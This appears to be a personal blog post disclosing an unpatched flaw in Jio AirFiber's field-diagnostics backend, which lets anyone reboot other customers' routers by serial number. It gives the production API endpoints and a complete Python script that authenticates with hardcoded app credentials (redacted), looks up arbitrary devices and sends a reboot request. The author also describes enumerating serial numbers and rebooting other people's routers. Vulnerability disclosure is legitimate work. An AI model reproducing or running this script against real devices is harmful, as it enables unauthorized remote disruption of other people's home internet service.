How I rebooted my friend's Jio Airfiber Router remotely
Discover how a curious exploration led to uncovering a vulnerability in JioDiagnostics App
this vulnerability was reported and Jio refused to acknowledge and claimed it wasn't their domain, hence a few urls/credentials/tokens might be redacted.
I had Jio's AirFiber connection setup around September 2024 and was enjoying it(whoops, my previous FTTH provider had a lot of downtimes).
As a curious idiot of course I started messing around, and I eventually gained root access to the router and had my own fun around(with the help from a few friends at JFC-Group)
Turns out Jio had JioFieldDiagnostics app(now defunct), which was actively used by Jio Field Engineers to deploy the Outdoor Unit to deploy e-sim.
i tried installing the app on my phone and I went to "Scan QR Code" page without any logins, and I tried scanning the QR code which was present in the back side of Indoor Unit(the router)
Voila! I had the option to open JioHome from the JFD app.
Connect to ODCPE option always failed for me, looks like it had some Bluetooth Auth mechanism built in and I wasn't too interested in that either.
I clicked on the Cable Diagnostic Tests and it opened up a different page.
The refresh like looking button looked interesting, gave it a click and my router started rebooting itself. That caught my attention and I started trying out my methods.
My initial starting point was to figure out what was present in the QR Code.
QR DATA:
<?xml version="1.0" encoding="UTF-8"?><!--Document created by: RJIL http://jio.com --><MFRNAME>Telpa</MFRNAME><MODELNO>JIDU6801</MODELNO><SRNO>RTHHGXXXXXXXX</SRNO><EAN>86990XXXXXXX</EAN><MACID>4C82XXXXXXXX</MACID><SSID>AirFiber-Gang5y</SSID><PWD>phae1toXXXXXXXXXXX</PWD>
I tried incrementing the SRNO variable and tried scanning again, and it once again presented me with some data and it rebooted successfully. WOW.
I asked a few friends around for their SRNO/RSN and tried, and I was able to reboot them remotely.(It was fun, trust me :) )
i thought I should dig in deeper, so I fired up mitmproxy and connected my phone over Wireguard and I started monitoring requests.
So each time I fire up the app, it makes request to "https://piranha.aps1.prod.rho.jiohs.net/api/Customers/login" and obtains an Authorization Bearer token, then proceeds to send requests to https://piranha.aps1.prod.rho.jiohs.net/api/nodes/RSN to get some data and then finally send a reboot request via "https://piranha.aps1.prod.rho.jiohs.net/api//Customers/{customer_id}/locations/{location_id}/nodes/{node_id}/reboot?&access_token={access_token}"
I did not take any screenshots while mitm'ing their app, sorry :(
I quickly wrote a python script, so that I can just supply the RSN/SRNO and have any AirFiber device rebooted.
I have censored credentials that was used to authenticate to the login endpoint(It was hardcoded in their JFD App. LOL)
import requests
import json
def login(email, password):
url = "https://piranha.aps1.prod.rho.jiohs.net/api/Customers/login"
headers = {
'content-type': 'application/json',
'user-agent': 'okhttp/5.0.0-alpha.11'
}
data = json.dumps({
"email": email,
"password": password
})
response = requests.post(url, headers=headers, data=data)
response.raise_for_status()
return response.json()
def get_node_details(node_id, access_token):
url = f"https://piranha.aps1.prod.rho.jiohs.net/api/nodes/{node_id}"
headers = {
'Authorization': f'{access_token}'
}
response = requests.get(url, headers=headers)
response.raise_for_status()
return response.json()
def reboot_node(access_token, customer_id, location_id, node_id, delay=5):
url = f"https://piranha.aps1.prod.rho.jiohs.net/api//Customers/{customer_id}/locations/{location_id}/nodes/{node_id}/reboot?&access_token={access_token}"
headers = {
'accept': 'application/json',
'content-type': 'application/x-www-form-urlencoded',
'user-agent': 'okhttp/5.0.0-alpha.11'
}
data = f"delay={delay}"
response = requests.put(url, headers=headers, data=data)
def main():
email = "XXXX@jio.com"
password = "XXXXXXXXXXXXXXXX"
node_id = input("Enter the RSN (node ID): ")
login_response = login(email, password)
access_token = login_response["id"]
user_id = login_response["userId"]
node_details = get_node_details(node_id, access_token)
customer_id = node_details["customerId"]
location_id = node_details["locationId"]
reboot_response = reboot_node(access_token, customer_id, location_id, node_id)
print("IDU Rebooted :)")
if __name__ == "__main__":
main()
I sent over the report, they asked for a more detailed one with more steps and I did too.
At the end they closed it with,
Dear Security Researcher,
This domain does not belong to us , it's an out of scope bug so we are closing this as false positive.
Regards,
Jio Bugs Reporting Team
I guess, jiohs.net might be Plume's, but the hardcoded credentials present in the app was funny to me.
Disclosure: No bug bounty was awarded.
This vulnerability is still to be fixed, but since Jio has marked it as "Out of Scope" I decided to publish this in my blog.
If anyone from JIo wants to contact me regarding the above, they can do so at, administrator @ soundar dot net.
Thank you for reading! :)